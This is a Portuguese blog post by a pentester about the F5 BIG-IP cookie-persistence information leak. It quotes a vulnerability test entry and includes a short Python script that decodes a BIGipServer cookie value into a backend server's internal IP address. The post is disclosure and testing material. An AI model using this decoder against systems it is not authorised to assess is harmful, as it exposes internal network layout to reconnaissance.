Exploit Python – F5 BIG-IP Cookie Persistence

Fiz um exploit que comprova a existência da vulnerabilidade no F5 BIG-IP Cookie Persistence como pode ser visto a vulnerabilidade está tanto na porta 80 (http), como na 443 (https):

Captura de tela - 06-05-2013 - 10:49:20

Captura de tela - 06-05-2013 - 10:49:48

Ref: http://www.securityspace.com/smysecure/catid.html?id=20089

Test ID: 20089
Category: Web Servers
Title: F5 BIP-IP Cookie Persistence
Summary: F5 BIP-IP(R) Cookie Persistence
Description: Synopsis :The remote load balancer suffers from an information disclosure
vulnerability.

Description :

The remote host appears to be a F5 BigIP load balancer which encodes
within a cookie the IP address of the actual web server it is acting
on behalf of. Additionally, information after ‘BIGipServer’ is
configured by the user and may be the logical name of the device.
These values may disclose sensitive information, such as internal IP
addresses and names.

Solution:

http://asia.f5.com/solutions/archives/techbriefs/cookie.html

Copyright This script is Copyright (C) 2005 Shavlik Technologies, LLC

Observação: O link http://asia.f5.com/solutions/archives/techbriefs/cookie.html da possível correção, não existe mais.
ToDO: Procurar outra forma de correção

Exploit:

#!/usr/bin/env python
# Mauro Risonho de Paula Assumpcao
# Pentester
# mrpa.security@gmail.com
# twitter @firebitsbr
#
#
# exploit_BIGIP_firebits_rev01
# example string BIGIP : 100733612.18724.0000

import struct
import sys

if len(sys.argv) != 2:
print “Usage: %s encoded_string” % sys.argv[0]
exit(1)

encoded_string = sys.argv[1]
print “\n[*] String to decode: %s\n” % encoded_string

(host, port, end) = encoded_string.split(‘.’)

(a, b, c, d) = [ord(i) for i in struct.pack(“<I”, int(host))]

print “[*] Decoded IP: %s.%s.%s.%s.\n” % (a,b,c,d)

OBS:

Não programo dedicado desde 2005, mas as poucos estou voltando a desenvolver pequenos scripts, na humildade mas vamos que vamos!:) No próximo post, vou tentar explicar, qual nível de problema seria, caso um atacante usasse esse cookie do F5 BIG-IP e possíveis estragos.

@firebitsbr